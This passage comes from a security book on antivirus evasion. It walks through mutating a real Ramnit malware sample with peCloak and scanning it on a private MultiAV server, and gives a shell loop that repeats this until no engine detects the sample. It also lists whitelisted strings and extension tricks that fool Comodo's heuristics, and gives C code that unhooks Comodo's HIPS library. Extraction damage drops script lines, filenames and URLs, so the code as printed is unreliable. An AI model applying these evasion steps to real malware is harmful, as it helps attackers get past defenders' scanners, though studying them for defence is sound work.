Select Zoner Antivirus for GNU/Linux, the Ubuntu distribution and the 32bit
version, and click the Download button. It will start downloading another .DEB
package file. The installation is as easy the previous ones:
$ dpkg -i zav-1.3.0-ubuntu-i386.deb
After the installation, activate the product to get a key and download the
latest virus definition files. You can register at http://www.zonerantivirus
We need a valid email account to receive the activation code. With the activation key, edit as root the file /etc/zav/zavd.conf and modify the UPDATE_KEY
section in this configuration file, adding the activation key. After this, execute
the following commands to update the signatures, restart the daemon, and
verify that everything is working:
$ sudo /etc/init.d/zavd update
02/06/15 12:45:54 [zavdupd]: INFO: ZAVd Updater starting ...
02/06/15 12:46:00 [zavdupd]: INFO: Succesfully updated ZAV database and
ZAVCore engine
Informing ZAVd about pending updates
$ sudo /etc/init.d/zavd restart
Stopping Zoner AntiVirus daemon
02/06/15 12:46:52 [zavd]: INFO: Sending SIGTERM to 16863
02/06/15 12:46:52 [zavd]: INFO: ZAVd successfully terminated
Starting Zoner AntiVirus daemon
02/06/15 12:46:52 [zavd]: INFO: Starting ZAVd in the background...
02/06/15 12:46:53 [zavd]: INFO: ZAVd successfully started
$ zavcli ../malware/
../malware/ INFECTED [EICAR.Test.File-NoVirus]
And with this you have installed all the required antivirus products. It is
time to configure the MultiAV client you downloaded earlier.
MultiAV Configuration
The MultiAV program uses a set of supported antivirus products (15 antivirus
products at the time of writing this book) that can be configured by editing the
config.cfg file. In this case, the configuration is simple: disable the antivirus
products that you are not going to use. To disable an antivirus engine (for example,
ESET Nod32), just add the bold line to the specific antivirus configuration section:
ARGUMENTS=--clean-mode=NONE --no-log-all
Chapter 8 ■ Evading Scanners
You need to disable all the antivirus products except for the ones you downloaded and configured in the previous sections: Avast, AVG, ClamAV, Comodo,
F-Prot, and Zoner. The configuration file will look similar to the following
complete example:
PATH= /usr/local/bin/fpscan
ARGUMENTS=--clean-mode=NONE --no-log-all
ARGUMENTS=--quarantine=/tmp -z -a --showall --heurlevel=3
ARGUMENTS=-archive -ss
ARGUMENTS=-j -a --ignerrors
Part II ■ Antivirus Software Evasion
# Ikarus is supported in Linux running it with wine (and it works great)
ARGUMENTS=/path/to/ikarus/T3Scan.exe -sa
ARGUMENTS=--action1=none --action2=none
# Works at least in MacOSX
ARGUMENTS=scan $FILE -i0 -fa
After configuring the MultiAV, you can test it by simply running the following command:
$ python /home/joxean/malware/
{'AVG': {'/home/joxean/malware/': 'EICAR_Test'},
'Avast': {'/home/joxean/malware/': 'EICAR Test-NOT
'ClamAV': {'/home/joxean/malware/': 'Eicar-TestSignature'},
'Comodo': {'/home/joxean/malware/': 'Malware'},
'F-Prot': {'/home/joxean/malware/': 'EICAR_Test_File
'ZAV': {'/home/joxean/malware/': 'EICAR.Test.FileNoVirus'}}
You get a report showing each antivirus that detected the given input file.
Because the EICAR testing file is detected by all antivirus products, if you
notice an antivirus missing, you need to go back to configure it and verify that
everything is working.
The next step is to run the web interface and JSON-based API. In the same
directory where the script is stored there is one more python script
file called Simply run it with the following command:
Chapter 8 ■ Evading Scanners
$ python
It will listen, by default, to all the virtual machine’s network interfaces on
port 8080. If you open that URL in a browser, we will be welcomed with a web
page similar to the one shown in Figure 8-5.
Figure 8-5: MultiAV home page
We can use this web page to upload a single file to be analyzed with multiple
antivirus products. After all the scanners finish, it will show a table with all the
antivirus results, as shown in Figure 8-6, showing another MultiAV instance
with more antivirus.
Figure 8-6: Antivirus results
Part II ■ Antivirus Software Evasion
However, we aren’t really interested in the web interface: it works and is
useful, but an API that can be used to build tools is more important. The current
version of the MultiAV’s JSON-based web API exports three methods:
/api/upload—Upload a file and get back its scanning report.
/api/upload_fast—Upload a file and get back its scanning report using
only scanners considered fast.
/api/search—Retrieve the report for an already analyzed file.
You can use the upload_fast API to upload modified versions of your own
payloads. But how can you get modified versions of your own payloads? For
example, how can you get a modified version of a Meterpreter payload to send
it to the MultiAV’s API to determine if it’s being cached? For this, you can use
the tool, discussed in detail in the next section.
peCloak was created as an experiment in AV evasion. The experiment, naturally, was
successful: all AV software under analysis was evaded, some of them using the default
options and others with specific command-line options. You can download the original tool from
However, we made some small modifications and packed up everything; you
can download the new modified version from
We’re going to use this tool to morph existing Windows PE executables to
bypass static antivirus detections. Let’s make some tests manually. This example
uses malware with the MD5 hash 767d6b68dbff63f3978bec0114dd875c.
$ md5sum ramnit_767d6b68dbff63f3978bec0114dd875c.exe
767d6b68dbff63f3978bec0114dd875c ramnit_767d6b68dbff63f3978bec0114dd8
$ /home/joxean/multiav/ ip-address-of-multi-av:8080 \
ramnit_767d6b68dbff63f3978bec0114dd875c.exe -f
{u'AVG': {u'/tmp/tmpE4WvF0': u'Win32/Zbot.G'},
u'Avast': {u'/tmp/tmpE4WvF0': u'Win32:RmnDrp'},
u'ClamAV': {u'/tmp/tmpE4WvF0': u'W32.Ramnit-1'},
u'F-Prot': {u'/tmp/tmpE4WvF0': u'W32/Ramnit.E'},
u'ZAV': {u'/tmp/tmpE4WvF0': u'Win32.Ramnit.H'}}
Five antivirus products detected this known malware sample. Now try creating
a new modified version using peCloak:
$ ./ -a -o test.exe ramnit_767d6b68dbff63f3978bec0114dd875c
Chapter 8 ■ Evading Scanners
| (beta)
| A Multi-Pass Encoder & Heuristic Sandbox Bypass AV Evasion Tool
Author: Mike Czumak | T_V3rn1x | @SecuritySift
Usage: [options] [path_to_pe_file] (-h or --help)
ASLR not enabled
Creating new section for code cave...
Code cave located at 0x443000
PE Section Information Summary:
[+] Name: .text, Virtual Address: 0x1000, Virtual Size: 0x9cda,
Characteristics: 0x60000020
[+] Name: .data, Virtual Address: 0xb000, Virtual Size: 0xcdc,
Characteristics: 0xc0000040
[+] Name: .rsrc, Virtual Address: 0xc000, Virtual Size: 0x9128,
Characteristics: 0x40000040
[+] Name: .text, Virtual Address: 0x16000, Virtual Size: 0x2d000,
Characteristics: 0xe0000020
[+] Name: .NewSec, Virtual Address: 0x43000, Virtual Size:
0x1000, Characteristics: 0xe00000e0
[*] Preserving the following entry instructions (at entry address
[+] pusha
[+] call 0x416006
[+] pop ebp
[+] mov eax,ebp
[*] Generated Heuristic bypass of 3 iterations
[*] Generated Encoder with the following instructions:
[+] ADD 0xcc
[+] XOR 0x8
[+] XOR 0x4b
[+] SUB 0x13
[+] SUB 0x88
[+] XOR 0xc
[*] Encoding entire .text section
[*] PE .text section made writeable with attribute 0xE0000020
[*] Writing encoded data to file
[*] Overwriting first bytes at physical address 0002b000
with jump to code cave
[*] Writing code cave to file
[+] Heuristic Bypass
[+] Decoder
Part II ■ Antivirus Software Evasion
[+] Saved Entry Instructions
[+] Jump to Restore Execution Flow
[+] Final Code Cave (len=188):
[*] New file saved [test.exe]
$ /home/joxean/multiav/ \
ip-address-of-multi-av:8080 test.exe -f
{u'AVG': {}, u'Avast': {}, u'ClamAV': {}, u'F-Prot': {}, u'ZAV': {}}
And no single antivirus detected our mutated sample. Now, it’s time to write
an automated tool to do what we have done manually.
Writing the Final Tool
This section shows how to write a tool for automatic antivirus evasion that will
make use of the MultiAV and peCloak. This tool will work as follows:
1. Take a Windows PE file as input.
2. Mutate the input file using peCloak with the aim of bypassing antivirus
3. Check whether the file is detected.
4. Return a non-detected modified version of the program.
This section shows you how to write a simple command-line tool that uses
both and the MultiAV’s command-line client. It will be as easy as
writing a simple shell script. MultiAV comes with a command-line client to
send malware samples and analyze with the configured antivirus products; it’s
called We used it before when manually testing
Here’s a very simple version of the automatic evasion tool in the form of a simple
shell script using the previously mentioned commands:
Chapter 8 ■ Evading Scanners
if [ $# -lt 1 ]; then
echo "Usage: $0 <pefile>"
exit 0
while [ 1 ]
echo "[+] Mutating the input PE file..."
$CLOAK_PATH -a -o test.exe $sample
echo "[+] Testing antivirus detection..."
if $MULTIAV_TOOL $MULTIAV_ADDR test.exe -f; then
echo "[i] Sample `md5sum test.exe` undetected!"
echo "[!] Sample still detected, continuing..."
This script launches against the given PE file, encodes it, sends it
to the MultiAV tool to determine if any antivirus is detecting it, and exits when a
modified version of the input PE file is not detected. To test this ultra-simplified
version of our automatic evasion tool, pass it a PE file:
$ /path/to/ ip-off-multi-av:8080 \
ramnit_767d6b68dbff63f3978bec0114dd875c.exe -f
{u'AVG': {u'/tmp/tmpEZnlZW': u'Win32/Zbot.G'},
u'Avast': {u'/tmp/tmpEZnlZW': u'Win32:RmnDrp'},
u'ClamAV': {u'/tmp/tmpEZnlZW': u'W32.Ramnit-1'},
u'F-Prot': {u'/tmp/tmpEZnlZW': u'W32/Ramnit.E'},
u'ZAV': {u'/tmp/tmpEZnlZW': u'Win32.Ramnit.H'}}
$ bash ramnit_767d6b68dbff63f3978bec0114dd875c.exe
[+] Mutating the input PE file...
[+] Testing antivirus detection...
{u'AVG': {}, u'Avast': {}, u'ClamAV': {}, u'F-Prot': {}, u'ZAV': {}}
[i] Sample ca4ae6888ec92f0a2d644b8aa5c6b249 test.exe undetected!
As we can see, the simple shell script written using and the
MultiAV is more than enough to create a new mutation of the known malware
file that goes undetected by the selected antivirus products. Keep in mind that
as we’re using our own multi-antivirus scanner, the samples will not be sent
to antivirus companies. You can improve this tool in many ways; for example,
Part II ■ Antivirus Software Evasion
it will loop forever if no good mutation is found. You could also add support
for all the relevant command-line options of You could even integrate it in the MultiAV. But it’s more than enough for the sake of learning how
to create an automatic tool for AV evasion. The experiments we conducted in
this chapter proved it’s really easy to go beyond the radar and bypass static
antivirus solutions.
This was a very dense chapter with lots of information on how to evade antivirus scanners. The chapter concludes with a hands-on section showing how to
automate all the required steps for researching and testing evasion techniques.
In summary, the following topics were covered:
Evading an antivirus scanner means evading signatures, the scanning
engine, and the detection logic.
Scanners may impose file limits before they scan files. For example, if a file
is bigger than a hard-coded value, the scanner may skip that file. Because
of this file size limit, the attackers can trick the scanner into skipping a file
by changing the file’s size to make it larger than the hard-coded size limit.
All AVs contain a disassembler, and the majority of them have an emulator. Malware become a candidate for being emulated when they contained
compressed or polymorphic code that is impossible to statically analyze.
The emulators implemented in the AV don’t necessarily know how to
emulate, or emulate correctly, certain obscure instructions. Attackers may
use malware samples with such instructions to disrupt and evade detection.
A PE file with an unexpected number of section headers, though accepted
by the operating system, may be deemed corrupt by some AV scanners
and won’t be detected.
There are various anti-emulation tricks that can fool the emulators inside
antiviruses: using OS APIs in a peculiar manner and checking how the
results differ between the real and the emulated environments; loading
unsupported or non-emulated system libraries and calling some of their
exported functions; spotting how the system libraries are different in
size and content between an emulated environment and a real one; using
old DOS device names (CON, AUX, ...), which fail under an emulator;
and testing if privileged instructions can be invoked and if they behave
as expected: privileged instructions, under the real environment, cause
exceptions if used from user-mode processes.
Employing anti-disassembling tricks such as an uncommon combination
of instruction prefixes and operands or undocumented instructions can
also be used to evade detection.
Chapter 8 ■ Evading Scanners
Anti-debugging techniques such as preventing the scanner from attaching to the malware process or reading its process memory are effective
against memory scanners.
File format confusion or polyglot file formats can mislead the scanner. An
executable file masquerading as a PDF file, for example, will cause the AV
to scan it using the PDF file format scanner rather than the PE file scanner
or the other way around, resulting in no detection at all.
VirusTotal is an online service that allows you to upload a file. It will scan
the file with a multitude of antiviruses that it supports. One drawback of
using VirusTotal is that all the uploaded files become public. This is not
productive if you are researching AV evasion techniques. This is where
MultiAV comes into play.
MultiAV is an open-source tool that is similar to VirusTotal. It can scan a
file or directory with multiple AV engines simultaneously.
An antivirus evasion framework such as the Veil Framework or the standalone PE evasion script called peCloak can help you mutate the malicious
files so they are no longer detected.
Using MultiAV as a private personal replacement for VirusTotal along
with an evasion tool, you can automate the process of mutating a sample
and then scanning it with various antiviruses simultaneously. The process
of mutating and scanning, once automated and repeated enough times,
can result in the creation of an undetectable malicious sample.
In Chapter 9, we will discuss how to bypass dynamic detections that trigger
during the execution of malicious code.
Evading Heuristicc Engines
A common component in antivirus software that detects malicious software
without relying on specialized signatures is the heuristic engine. Heuristic
engines make decisions based on general evidence instead of specifics like
generic detections or typical signature-based scheme counterparts.
Heuristic engines, as implemented in AV products, rely on detection routines
that assess evidence and behavior. They do not rely on specific signatures to try
to catch a certain family of malware or malware that shares similar properties.
This chapter covers the various types of heuristic engines, which, as you will
observe, may be implemented in userland, kernel-land, or both. It’s important
to learn how to evade heuristic engines because today antivirus products try to
rely more on the behavior of the inspected applications than on the old way of
detecting malwares using signatures. Learning about various heuristic engines
will facilitate the process of bypassing and evading them. Similarly, the AV
engineers can get some insights into how attackers are evading detection and
therefore can improve the detection engine accordingly.
Heuristic Engine Types
There are three different types of heuristic engines: static, dynamic, and hybrid,
which use both strategies. Most often, static heuristic engines are considered
true heuristic engines, while dynamic heuristic engines are called Host Intrusion
Part II ■ Antivirus Software Evasion
Prevention Systems (HIPS). Static heuristic engines try to discover malicious
software by finding evidence statically by disassembling or analyzing the headers
of the file under scrutiny. Dynamic heuristic engines try to do the same—based
on the behavior of the file or program—by hooking API calls or executing the
program under an emulation framework. The following sections cover these
different system types and explain how they can be bypassed.
Static Heuristic Engines
Static heuristic engines are implemented in many different ways depending
on the deployment target. For example, it is common to use heuristic engines
that are based on machine learning algorithms, such as Bayesian networks or
genetic algorithms, because they reveal information about similarities between
families by focusing on the biggest malware groups created by their clustering
toolkits (the heuristic engines). Those heuristic engines are better deployed in
malware research labs than in a desktop product, because they can cause a large
number of false positives and consume a lot of resources, which is acceptable
in a lab environment. For desktop-based antivirus solutions, expert systems
are a much better choice.
An expert system is a heuristic engine that implements a set of algorithms that
emulate the decision-making strategy of a human analyst. A human malware
analyst can determine that a Windows portable executable (PE) program appears
malicious, without actually observing its behavior, by briefly analyzing the file
structure and taking a quick look at the disassembly of the file. The analyst would
be asking the following questions: Is the file structure uncommon? Is it using
tricks to fool a human, such as changing the icon of the PE file to the icon that
Windows uses for image files? Is the code obfuscated? Is the program compressed
or does it seem to be protected somehow? Is it using any anti-debugging tricks?
If the answer to such questions is “yes,” then a human analyst would suspect
that the file is malicious or at least that it is trying to hide its logic and needs to
be analyzed in more depth. Such human-like behavior, when implemented in
a heuristic engine, is called an expert system.
Bypassing a Simplistic Static Heuristic Engine
This section uses the rather simplistic heuristic engine of the Comodo antivirus
for Linux as an example. It is implemented in the library (surprise!).
Fortunately, this library comes with full debugging symbol information, so you
can discover where the true heuristic engine’s code is in this library by simply
looking at the function names. Figure 9-1 shows a list of heuristic functions in IDA.
Chapter 9 ■ Evading Heuristic Engines
Figure 9-1: The heuristic functions in IDA
This list shows that the C++ class CAEHeurScanner seems to be responsible
for performing the heuristic scan. From the following IDA disassembly listing
with the VTable of this object, it is clear that the method ScanSingleTarget is
the one you are interested in if you want to bypass the heuristic engine: ; `vtable for'CAEHeurScanner _ZTV14CAEHeurScanner dq 0
dq offset _ZTI14CAEHeurScanner ;
`typeinfo for'CAEHeurScanner
dq offset
_ZN14CAEHeurScanner14QueryInterfaceER5_GUIDPPv ;
CAEHeurScanner::QueryInterface(_GUID &,void **)
dq offset
_ZN14CAEHeurScanner6AddRefEv ; CAEHeurScanner::AddRef(void)
dq offset
_ZN14CAEHeurScanner7ReleaseEv ; CAEHeurScanner::Release(void)
dq offset _ZN14CAEHeurScannerD1Ev
Part II ■ Antivirus Software Evasion
dq offset _ZN14CAEHeurScannerD0Ev
; CAEHeurScanner::~CAEHeurScanner()
dq offset
_ZN14CAEHeurScanner4InitEP8IUnknownPv ; CAEHeurScanner::Init(IUnknown *,
void *)
dq offset
_ZN14CAEHeurScanner6UnInitEPv ; CAEHeurScanner::UnInit(void *)
dq offset
_ZN14CAEHeurScanner12GetScannerIDEP10_SCANNERID ;
CAEHeurScanner::GetScannerID(_SCANNERID *)
dq offset
; CAEHeurScanner::SetSignMgr(IUnknown
dq offset
CAEHeurScanner::ScanSingleTarget(ITarget *,_SCANOPTION *,_SCANRESULT *)
dq offset
_ZN14CAEHeurScanner4CureEPvj ; CAEHeurScanner::Cure(void *,uint)
To start analyzing the function, you can navigate to this method in IDA. After
a number of rather uninteresting calls to members of objects with unknown
types, there is a call to the member ScanMultiPacked:
[pstScanOptions+SCANOPTION.eSHeurLevel] ; nLevel
rcx, pstResult ; pstResult
rdx, piSrcTarget ; piTarget
rdi, this
; this
__ZN14CAEHeurScanner15ScanMultiPackedEiP7ITargetP11_SCANRESULT ;
CAEHeurScanner::ScanMultiPacked(int,ITarget *,_SCANRESULT *)
The first heuristic routine tries to determine whether the file is packed multiple
times. There are a number of instructions after this call, including an interesting
call to ScanUnknownPacker:
rcx, pstResult ; pstResult
rdx, pstScanOptions ;
rsi, piSrcTarget ; piSrcTarget
rdi, this
; this
CAEHeurScanner::ScanUnknowPacker(ITarget *,_SCANOPTION *,_SCANRESULT *)
Chapter 9 ■ Evading Heuristic Engines
It is obvious that Comodo is trying to gather more evidence, and this time
it is trying to see whether the file is packed with some unknown packer. Of
course, you need to know whether it is packed, and if so, how. If you continue
exploring this heuristic engine, you will come across a number of instructions
after this call, including this interesting call to ScanDualExtension:
rcx, pstResult ; pstScanResult
rdx, pstScanOptions ;
rsi, piSrcTarget ; piTarget
rdi, this
; this
CAEHeurScanner::ScanDualExtension(ITarget *,_SCANOPTION *,_SCANRESULT *)
A dual extension is considered by the heuristic engine to be evidence that
the file is bad without any regard for the way it is implemented. Now you can
continue with the remaining calls:
rcx, pstResult ; pstScanResult
rdx, pstScanOptions
; pstScanOption
rsi, piSrcTarget
; piTarget
rdi, this
; this
CAEHeurScanner::ScanCorruptPE(ITarget *,_SCANOPTION *,_SCANRESULT *)
rsi, piSrcTarget ; piTarget
rdi, this
; this
__ZN14CAEHeurScanner5IsFPsEP7ITarget ; CAEHeurScanner::IsFPs(ITarget *)
First, it checks whether the PE file appears to be corrupt by calling the
ScanCorruptPE function. Then it issues a call to the function IsFPs, which tries
to determine whether the “bad” file is actually a false positive. The function
likely checks some sort of list of known false positives. The engine is checking
a hard-coded list in the binary instead of having the list in an easy-to-update
component, like the antivirus signature files. The IsFPs function is shown here:
.text:000000000000EABC ; PRBool __cdecl CAEHeurScanner::IsFPs(
*const this, ITarget *piTarget)
Part II ■ Antivirus Software Evasion
.text:000000000000EABC _ZN14CAEHeurScanner5IsFPsEP7ITarget proc near
.got.plt:off_21B160 o
.text:000000000000EABC Exit0:
.text:000000000000EABC this = rdi
; CAEHeurScanner
.text:000000000000EABC piTarget = rsi
; ITarget *
rsp, 8
__ZN14CAEHeurScanner18IsWhiteVersionInfoEP7ITarget ;
CAEHeurScanner::IsWhiteVersionInfo(ITarget *)
eax, eax
.text:000000000000EAC7 bRetCode = rax
; PRBool
eax, al
.text:000000000000EACE _ZN14CAEHeurScanner5IsFPsEP7ITarget endp
IsFPs simply calls another member, IsWhiteVersionInfo. If you analyze this
function’s pseudo-code, you uncover a rather interesting algorithm:
if ( CAEHeurScanner::GetFileVer(v2, piTarget, wszVerInfo, 0x104uLL,
v2->m_hVersionDll) )
for ( i = 0; i < g_nWhiteVerInfoCount; ++i )
if ( !(unsigned int)PR_wcsicmp2(wszVerInfo,
g_WhiteVerInfo[(signed __int64)i].szVerInfo) )
return 1;
N O T E In Windows, version information is stored in the resources directory and has
a well-defined structure format. The version information usually includes file version
and product version numbers, language, file description, and product name, among
other version attributes.
As expected, it is checking the version information extracted from the PE
header against a hard-coded list of version information from programs that are
known to cause conflicts but are not malicious. The address g_WhiteVerInfo
Chapter 9 ■ Evading Heuristic Engines
points to a list of fixed-size UTF-32 strings. If you take a look with a hexadecimal
editor, you will see something like the following:
..e...a...s... .
..t... ...S.....
00 00 41 00 00 00 6E 00
00 00 64 00 00 00 72 00
00 00 65 00 00 00 61 00
00 00 73 00 00 00 20 00
00 00 48 00 00 00 61 00
00 00 75 00 00 00 73 00
00 00 6C 00 00 00 61 00
00 00 64 00 00 00 65 00
00 00 6E 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 41 00 00 00 72 00
00 00 74 00 00 00 69 00
00 00 6E 00 00 00 73 00
00 00 6F 00 00 00 66 00
00 00 74 00 00 00 20 00
00 00 53 00 00 00 2E 00
00 00 41 00 00 00 2E 00
00 00 00 00 00 00 00 00
00 00 42 00 00 00 6F 00
00 00 62 00 00 00 53 00
00 00 6F 00 00 00 66 00
00 00 74 00 00 00 00 00
To evade this rather simplistic heuristic engine, you can use one of the UTF32encoded strings that are white-listed, such as “Andreas Hausladen,” “ArtinSoft
S.A.,” or “BobSoft,” in the malware’s version information.
Now you can take a look at some of the previous heuristic routines such as
if ( v22
&& (unsigned int)CAEHeurScanner::IsInExtensionsList(v6, v22,
&& (unsigned int)CAEHeurScanner::IsInExtensionsList(v6, v18,
0x2Fu) )
Part II ■ Antivirus Software Evasion
Scan_result->bFound = 1;
result = 0LL;
result = 0x80004005LL;
In the pseudo-code, it is clear that it is checking whether the extensions are
in the two lists: g_LastExtList and g_SecLastExtList. If they are, the Scan_
result object instance is updated so that its szMalwareName member contains
the detection name (Heur.Dual.Extensions) and the bFound member is set to
the value 1 (true).
Now you can check both extensions lists:
.data:000000000021B8D0 ; EXTENSION_0 g_LastExtList[6]
.data:000000000021B8D0 g_LastExtList
db '.EXE',0,0,0,0,0,0,'.VBS',0,0,
; DATA XREF: .got:wcsExtList o
db 'SCR',0,0,0,0,0,0
align 10h
public g_SecLastExtList
.data:000000000021B910 ; EXTENSION_0 g_SecLastExtList[47]
.data:000000000021B910 g_SecLastExtList db '.ASF',0,0,0,0,0,0,'.AVI',0,0
; DATA XREF: .got:g_SecLastExtList_ptr o
db 'CUR',0,0,0,0,0,0,'.DOC',0,0,0
db 'FON',0,0,0,0,0,0,'.GIF',0,0,0
db 'ICO',0,0,0,0,0,0,'.INF',0,0,0
db 'DOC',0,0,0,0,0,0,'.JPE',0,0,0
db 'MP4',0,0,0,0,0,0,'.PDF',0,0,0
db 'REG',0,0,0,0,0,0,'.RM',0,0,0,
db 'TIF',0,0,0,0,0,0,'.IMG',0,0,0
Chapter 9 ■ Evading Heuristic Engines
db 'JPG',0,0,0,0,0,0,'.TXT',0,0,0
db 'XLV',0,0,0,0,0,0,'.ZIP',0,0,0
As you can see, an extensions list is a set of fixed-size ASCII strings with
various typical file extensions. The first list contains a number of typical executable file extensions (.EXE, .CMD, .VBS, and so on), and the second list contains
a number of popular document, video, sound, or image file extensions (such as
.AVI or .BMP). The two extension lists are used to see whether the filename is in
the form some_name.<SecLastExt>.<LastExtList>, for example, Invoice.pdf
.exe. Dual extensions of that sort—a form of attack based on social engineering
principles—are common in malware that tries to fool the user into believing that
an executable file is actually a video, picture, document, ZIP file, or other type. To
evade this heuristic detection, you can use a single file extension, an executable
extension not in the first list (such as .CPL, .HTA
A, or .PIF), or a second extension not
in the previous list of non-executable file types (such as .JPG or .DOCX). That’s all.
As shown in this section, with minimal research, you can fool and bypass
expert systems-based heuristic engines.
Dynamic Heuristic Engines
Dynamic heuristic engines are implemented in the form of hooks (in userland
or kernel-land) or based on emulation. The former approach is more reliable,
because it involves actually looking at the true runtime behavior, while the
latter is more error prone, because it largely depends on the quality of the corresponding CPU emulator engine and the quality of the emulated operating
system APIs. Bypassing heuristic engines based on emulators and virtual execution environments is by far the easiest option available, as already discussed in
Chapter 8. However, bypassing heuristic engines based on hooks, like the typical
Host Intrusion Prevention Systems (HIPS), is not too complex and depends on
which layer the API hooks are installed in. There are two options for installing hooks in order to monitor the behavior of a program: userland hooks and
kernel-land hooks. Both have their advantages and disadvantages, as discussed
in the following sections.
Userland Hooks
Many antivirus products use userland hooks to monitor the execution of running
processes. Hooking consists of detouring a number of common APIs, such as
CreateFile or CreateProcess in Windows. So, instead of executing the actual code,
a monitoring code installed by the antivirus is executed first. Then, depending on
Part II ■ Antivirus Software Evasion
a set of rules (either hard-coded or dynamic), the monitoring code blocks, allows,
or reports the execution of the API. Such userland API hooks are typically installed
using third-party userland hooking libraries. The following list includes the most
common hooking libraries:
is a userland-based hooking engine written in Delphi
with support for many different runtime environments. This engine is used
in Comodo, old versions of McAfee, and Panda antivirus solutions.
EasyHook—This is an open-source hooking engine that is known for its
good performance and completeness. Some antivirus engines are using it.
Detours—This is a proprietary hooking engine from Microsoft Research.
Its source code is available, but you must purchase a license to use it in
commercial products. Some antivirus engines are using this hooking
engine for implementing their Ring-3-based monitoring systems.
In any case, it is irrelevant which hooking engine is used by the antivirus
you are targeting, because all userland-based hooking engines work in a very
similar way:
1. They start by injecting a library into the userland processes that are subject
to monitoring. Typically, the hooking library is injected into all processes,
so it does system-wide monitoring of userland processes.
2. The engines resolve the API functions that the antivirus wants to monitor.
3. They replace the first assembly instructions of the function with a jump
to the antivirus code for handling the corresponding API.
4. After the antivirus code hook for the API is executed and finishes its
behavior-monitoring task, the hook usually passes the API call back to
the original “unhooked” code path.
The antivirus hooking library or libraries can be injected using various techniques. One of the most common techniques in the past (now deprecated and
no longer recommended by Microsoft) was to use the registry key AppInit_Dll.
This registry key contains one or more paths to DLLs that will be injected for
all userland Windows processes that import user32.dll, with a few exceptions
(such as Csrss.exe). For years, this was the most typical option. It is used by
Kaspersky, Panda, and a lot of other antivirus products (as well as by malware).
Another popular code injection technique, although not truly reliable, works
like this: execute an antivirus program component at Windows desktop startup,
inject code into an explorer.exe process via CreateRemoteThread, and hook
the CreateProcessInternal function. The CreateProcessInternal function
is called whenever a new process is about to be created. Because this API was
hooked, it is programmed to inject the hooking DLL into the memory space
of this new program. This technique cannot guarantee that all new processes
will be monitored because of the limitation of the CreateRemoteThread API;
nonetheless, this approach is still used by various antivirus products.
Chapter 9 ■ Evading Heuristic Engines
The last typical approach for injecting a DLL is to do so from kernel-land. An
antivirus driver registers a PsSetCreateProcessNotifyRoutineEx callback, and
for any new process, it injects, from kernel-land, a DLL with all the userland code.
Because all hooking engines work almost the same regardless of the injection technique used, you can develop universal techniques to bypass any and
all userland-based hooking engines. This bypass technique relies on the fact
that a hooking engine needs to overwrite the original function prologue with
a jump to the antivirus replacement function, and so you can simply reverse
these changes and undo the hooks.
To explain this concept clearly, it is important to note that the prologue of most
frame-based functions has the same byte code sequence or machine instructions, typically the following:
One quick way to undo the hook is to hard-code the byte sequence of the
function prologue in your evasion code and then overwrite the function’s start
with this prologue. This approach may fail if the hooked functions have a different prologue. Here is a better way to undo the API hook:
1. Read the original libraries from disk (that is, the code of kernel32.dll or
2. Resolve the hooked functions’ addresses in the library. This can be done,
for example, using the Microsoft library dbgeng.dll or by manually
walking the export table of the DLL to figure out the addresses.
3. Read the initial bytes of these functions.
4. Write the original bytes back into memory. The antivirus may notice the
patch. An alternative would be to execute the first instructions read from
the file and then jump back to the original code.
The next section demonstrates an even easier method for bypassing such
heuristic engines.
N O T E Bypassing userland hooks used by heuristic engines can be even easier than
the generic solution just discussed. Userland hooks can be implemented at various
levels. For example, you can hook the CreateFileA
A and CreateFileW functions
from kernel32.dll, or you can hook NtOpenFile from ntdll.dll. The lowest
userland level is ntdll.dll; however, in many cases, antivirus products hook only
the highest-level functions exported by advapi32.dll or kernel32.dll. In such
cases, you do not need to patch the memory of the loaded libraries to remove the
hooks; you simply need to use the ntdll.dll exported API (also called a native API),
and the antivirus hooking engine will be oblivious to your actions.
Part II ■ Antivirus Software Evasion
Bypassing a Userland HIPS
Comodo Internet Security version 8 and earlier had one HIPS and a sandbox.
The HIPS was, naturally, a heuristic engine. The sandbox was a kernel-land component but the HIPS was not. The HIPS was completely developed as userland
components. It was implemented in the library guard32.dll or guard64.dll
(depending on the architecture and the program executed), which was injected
in all userland processes. Note that if those DLLs were not ASLR (Address Space
Layout Randomization) aware, then they would render the operating system’s
ASLR ineffective on a system-wide level for all userland components of the
machine being “protected.” Once again, I discuss the implications of injecting
non-ASLR DLLs in processes. At one point, Comodo was making the mistake
of injecting a non-ASLR version of its hooks, as shown in Figure 9-2.
Figure 9- 2: The Comodo HIPS engine without ASLR injected into Firefox
The Comodo guard32 and guard64 libraries hook userland functions such as the
exported functions kernel32!CreateProcess[A|W], kernel32!CreateFile[A|W],
and ntdll!drUnloadDll. One quick and easy way to avoid being detected is
to disable this HIPS heuristic engine by unloading the hook library (guard32
.dll for 32-bit processes and guard64.dll for 64-bit processes) immediately
after your evasion code runs.
On my first try, I simply created a utility with the following code:
int unhook(void)
return FreeLibrary(GetModuleHandleA("guard32.dll"));
Chapter 9 ■ Evading Heuristic Engines
However, it did not work. The function unhook always returned the error 5,
“Access denied.” After attaching a debugger to my userland process, I discovered
that the function FreeLibrary
y was hooked by the guard module—not at kernel32
level (FreeLibrary is exported by this library) but rather at ntdll.dll level,
by hooking the function LdrUnloadDll. What can you do to unload the HIPS
engine from the process? You can simply remove the hook from LdrUnloadDll
and then call the previous code, as shown in the following code:
HMODULE hlib = GetModuleHandleA("guard32.dll");
void *addr = GetProcAddress(GetModuleHandleA("ntdll.dll"),
if ( addr != NULL )
DWORD old_prot;
if ( VirtualProtect(addr, 16, PAGE_EXECUTE_READWRITE,
&old_prot) != 0 )
// Bytes hard-coded from the original Windows 7 x32
// ntdll.dll library
char *patch = "\x6A\x14\x68\xD8\xBC\xE9\x7D\xE8\x51\xCC"
memcpy(addr, patch, sizeof(patch));
VirtualProtect(addr, 16, old_prot, &old_prot);
if ( FreeLibrary(hlib) )
MessageBoxA(0, "Magic done", "MAGIC", 0);
Part II ■ Antivirus Software Evasion
To follow this easy example, you just patch back the entry point of the ntdll
.dll exported function LdrUnloadDll and then call FreeLibrary with the
handle of the guard32.dll library. It is as simple as it sounds. Actually, this
technique has been used a number of times to bypass other HIPS; the first time
I remember somebody writing about this approach was in Phrack,
k Volume 0x0b,
Issue 0x3e, from 2003/2004, which is available at
As “The Grugq” (one of the original authors of that issue of Phrack),
k said in
Twitter after rediscovering techniques that he used roughly ten years before,
“User-land sand boxing cannot work. If you’re in the same address space as the
malware, malware wins. End of story.” And he is absolutely right.
Kernel-Land Hooks
You saw in the previous section that bypassing userland hooks (which most
userland-based heuristic engines are derived from) is an easy task. But what
